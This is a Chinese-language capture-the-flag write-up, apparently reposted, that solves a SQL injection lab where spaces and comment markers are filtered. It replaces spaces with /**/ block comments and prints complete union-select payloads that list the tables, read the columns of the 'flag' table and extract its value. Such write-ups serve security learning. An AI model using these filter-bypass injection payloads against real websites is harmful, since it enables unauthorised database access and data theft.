SQL注入(過濾空格和--+等注釋符)


1、地址:http://ctf5.shiyanbar.com/web/index_2.php(過濾了空格和--+等注釋符)

思路:確定注入參數值類型,直接輸入單引號,根據報錯信息確定參數值類型為字符型,如下圖所示。

2、正常思路輸入' or '1'='1,直接報錯,信息為SQLi detected!,首先猜測or被過濾,直接去掉or,繼續輸入' '1'='1,

仍然報錯,信息為SQLi detected!,猜測空格被過濾,直接輸入’or‘1’=‘1,如下圖所示,確定空格被過濾。

3、嘗試使用多行注釋符(塊注釋符)、一對英文括號、換行符、加號來代替空格。

第一次嘗試:快注釋符/**/

輸入'/**/or/**/'1'='1

輸入'/**/or/**/'1'='2,無任何返回,確定塊注釋符可以使用。

之后分別嘗試括號、換行符和加號,均不可使用,最終采用塊注釋符。

4、爆當前數據庫中的表

'/**/union/**/select/**/concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/having'1'='1

5、爆flag表中字段和值

 '/**/union/**/select/**/concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'/**/having/**/'1'='1

'/**/union/**/select/**/flag/**/from/**/flag/**/having/**/'1'='1

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM